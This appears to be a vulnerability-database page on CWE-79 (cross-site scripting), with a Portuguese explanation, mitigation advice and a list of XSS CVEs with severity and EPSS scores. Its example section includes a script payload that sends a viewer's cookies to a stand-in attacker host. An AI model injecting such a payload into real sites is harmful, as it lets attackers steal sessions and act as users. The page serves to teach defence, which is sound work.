Fallos del tipo CWE-79

28.564 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-25346MEDIUMA reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via tEPSS 1.5%CVE-2021-25107—Form Store to DB < 1.1.1 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.5%CVE-2020-0927MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2022-29927MEDIUMIn JetBrains TeamCity before 2022.04 reflected XSS on the Build Chain Status page was possibleEPSS 1.5%CVE-2016-9457—Revive Adserver before 3.2.3 suffers from Reflected XSS. `www/admin/stats.php` is vulnerable to reflected XSS attacks via multiple parameterEPSS 1.5%CVE-2019-15072—Openfind MAIL2000 Webmail Post-Auth Cross-Site ScriptingEPSS 1.5%CVE-2020-0933MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0973MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0923MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0925MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0978MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0954MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0930MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0926MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2014-5397—Schneider Electric Wonderware Cross-site ScriptingEPSS 1.5%CVE-2021-32792LOWXSS vulnerability when using OIDCPreservePost On in mod_auth_openidcEPSS 1.5%CVE-2020-11082MEDIUMCross-Site Scripting in KaminariEPSS 1.5%CVE-2023-31699MEDIUMChurchCRM v4.5.4 is vulnerable to Reflected Cross-Site Scripting (XSS) via image file.EPSS 1.5%CVE-2020-0891MEDIUMThis vulnerability is caused when SharePoint Server does not properly sanitize a specially crafted request to an affected SharePoint server.EPSS 1.5%CVE-2025-51403MEDIUMA stored cross-site scripting (XSS) vulnerability in the department assignment editing module of of Live Helper Chat v4.60 allows attackers EPSS 1.5%